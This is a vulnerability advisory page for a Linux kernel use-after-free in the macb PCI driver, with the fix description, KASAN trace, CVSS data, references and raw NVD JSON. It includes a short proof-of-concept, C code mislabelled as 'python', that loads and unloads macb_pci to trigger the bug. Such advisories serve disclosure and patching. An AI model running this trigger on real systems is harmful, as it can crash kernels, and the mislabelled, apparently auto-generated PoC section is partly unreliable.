CVE-2026-43015

Description

In the Linux kernel, the following vulnerability has been resolved: net: macb: fix clk handling on PCI glue driver removal platform_device_unregister() may still want to use the registered clks during runtime resume callback. Note that there is a commit d82d5303c4c5 ("net: macb: fix use after free on rmmod") that addressed the similar problem of clk vs platform device unregistration but just moved the bug to another place. Save the pointers to clks into local variables for reuse after platform device is unregistered. BUG: KASAN: use-after-free in clk_prepare+0x5a/0x60 Read of size 8 at addr ffff888104f85e00 by task modprobe/597 CPU: 2 PID: 597 Comm: modprobe Not tainted 6.1.164+ #114 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x8d/0xba print_report+0x17f/0x496 kasan_report+0xd9/0x180 clk_prepare+0x5a/0x60 macb_runtime_resume+0x13d/0x410 [macb] pm_generic_runtime_resume+0x97/0xd0 __rpm_callback+0xc8/0x4d0 rpm_callback+0xf6/0x230 rpm_resume+0xeeb/0x1a70 __pm_runtime_resume+0xb4/0x170 bus_remove_device+0x2e3/0x4b0 device_del+0x5b3/0xdc0 platform_device_del+0x4e/0x280 platform_device_unregister+0x11/0x50 pci_device_remove+0xae/0x210 device_remove+0xcb/0x180 device_release_driver_internal+0x529/0x770 driver_detach+0xd4/0x1a0 bus_remove_driver+0x135/0x260 driver_unregister+0x72/0xb0 pci_unregister_driver+0x26/0x220 __do_sys_delete_module+0x32e/0x550 do_syscall_64+0x35/0x80 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 </TASK> Allocated by task 519: kasan_save_stack+0x2c/0x50 kasan_set_track+0x21/0x30 __kasan_kmalloc+0x8e/0x90 __clk_register+0x458/0x2890 clk_hw_register+0x1a/0x60 __clk_hw_register_fixed_rate+0x255/0x410 clk_register_fixed_rate+0x3c/0xa0 macb_probe+0x1d8/0x42e [macb_pci] local_pci_probe+0xd7/0x190 pci_device_probe+0x252/0x600 really_probe+0x255/0x7f0 __driver_probe_device+0x1ee/0x330 driver_probe_device+0x4c/0x1f0 __driver_attach+0x1df/0x4e0 bus_for_each_dev+0x15d/0x1f0 bus_add_driver+0x486/0x5e0 driver_register+0x23a/0x3d0 do_one_initcall+0xfd/0x4d0 do_init_module+0x18b/0x5a0 load_module+0x5663/0x7950 __do_sys_finit_module+0x101/0x180 do_syscall_64+0x35/0x80 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Freed by task 597: kasan_save_stack+0x2c/0x50 kasan_set_track+0x21/0x30 kasan_save_free_info+0x2a/0x50 __kasan_slab_free+0x106/0x180 __kmem_cache_free+0xbc/0x320 clk_unregister+0x6de/0x8d0 macb_remove+0x73/0xc0 [macb_pci] pci_device_remove+0xae/0x210 device_remove+0xcb/0x180 device_release_driver_internal+0x529/0x770 driver_detach+0xd4/0x1a0 bus_remove_driver+0x135/0x260 driver_unregister+0x72/0xb0 pci_unregister_driver+0x26/0x220 __do_sys_delete_module+0x32e/0x550 do_syscall_64+0x35/0x80 entry_SYSCALL_64_after_hwframe+0x6e/0xd8

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < commit 16ab4c0e2b15df5d33bfcb9ea8e4441b85dd4a57

Linux Kernel < commit 2d96204e4184d6f7dd2f93c6f218fd0c1f55e9ae

Linux Kernel < commit 3496fb9e66f79d4def3bb7ec7563e3eaa33a688f

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43015: Trigger UAF in macb driver
 * Compile: gcc -o poc poc.c
 * Usage: sudo ./poc
 * Requires root privileges to load/unload kernel modules.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    printf("[*] Attempting to trigger CVE-2026-43015...\n");
    
    // Step 1: Load the vulnerable driver
    printf("[*] Loading macb_pci driver...\n");
    system("modprobe macb_pci");

    printf("[*] Waiting for device registration...\n");
    sleep(1);

    // Step 2: Remove the driver to trigger the race condition
    printf("[*] Removing macb_pci driver to trigger UAF...\n");
    // The UAF occurs during remove path interacting with runtime resume
    system("rmmod macb_pci");

    printf("[*] Check dmesg for KASAN use-after-free reports.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43015
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43015
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43015/
[4] VulDB https://vuldb.com/cve/CVE-2026-43015
[5] https://git.kernel.org/stable/c/16ab4c0e2b15df5d33bfcb9ea8e4441b85dd4a57
[6] https://git.kernel.org/stable/c/2d96204e4184d6f7dd2f93c6f218fd0c1f55e9ae
[7] https://git.kernel.org/stable/c/3496fb9e66f79d4def3bb7ec7563e3eaa33a688f
[8] https://git.kernel.org/stable/c/67f70841a175fa3469119f52d77a3662c07507a2
[9] https://git.kernel.org/stable/c/b3f799cdf830df1782ae463cf15ace35015be99e
[10] https://git.kernel.org/stable/c/bf64cae913cdd4821f13d5d1d68900c0891bef69
[11] https://git.kernel.org/stable/c/ce8fe5287b87e24e225c342f3b0ec04f0b3680fe
[12] https://git.kernel.org/stable/c/f310a836da90d0f0321b14d446c071af63f9ee4c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43015", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:45.500", "lastModified": "2026-05-07T20:31:01.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: fix clk handling on PCI glue driver removal\n\nplatform_device_unregister() may still want to use the registered clks\nduring runtime resume callback.\n\nNote that there is a commit d82d5303c4c5 (\"net: macb: fix use after free\non rmmod\") that addressed the similar problem of clk vs platform device\nunregistration but just moved the bug to another place.\n\nSave the pointers to clks into local variables for reuse after platform\ndevice is unregistered.\n\nBUG: KASAN: use-after-free in clk_prepare+0x5a/0x60\nRead of size 8 at addr ffff888104f85e00 by task modprobe/597\n\nCPU: 2 PID: 597 Comm: modprobe Not tainted 6.1.164+ #114\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x8d/0xba\n print_report+0x17f/0x496\n kasan_report+0xd9/0x180\n clk_prepare+0x5a/0x60\n macb_runtime_resume+0x13d/0x410 [macb]\n pm_generic_runtime_resume+0x97/0xd0\n __rpm_callback+0xc8/0x4d0\n rpm_callback+0xf6/0x230\n rpm_resume+0xeeb/0x1a70\n __pm_runtime_resume+0xb4/0x170\n bus_remove_device+0x2e3/0x4b0\n device_del+0x5b3/0xdc0\n platform_device_del+0x4e/0x280\n platform_device_unregister+0x11/0x50\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n </TASK>\n\nAllocated by task 519:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n __kasan_kmalloc+0x8e/0x90\n __clk_register+0x458/0x2890\n clk_hw_register+0x1a/0x60\n __clk_hw_register_fixed_rate+0x255/0x410\n clk_register_fixed_rate+0x3c/0xa0\n macb_probe+0x1d8/0x42e [macb_pci]\n local_pci_probe+0xd7/0x190\n pci_device_probe+0x252/0x600\n really_probe+0x255/0x7f0\n __driver_probe_device+0x1ee/0x330\n driver_probe_device+0x4c/0x1f0\n __driver_attach+0x1df/0x4e0\n bus_for_each_dev+0x15d/0x1f0\n bus_add_driver+0x486/0x5e0\n driver_register+0x23a/0x3d0\n do_one_initcall+0xfd/0x4d0\n do_init_module+0x18b/0x5a0\n load_module+0x5663/0x7950\n __do_sys_finit_module+0x101/0x180\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nFreed by task 597:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n kasan_save_free_info+0x2a/0x50\n __kasan_slab_free+0x106/0x180\n __kmem_cache_free+0xbc/0x320\n clk_unregister+0x6de/0x8d0\n macb_remove+0x73/0xc0 [macb_pci]\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": 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"8BDD92CA-4CB7-46E8-85F7-892EB6C17032"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:* ... 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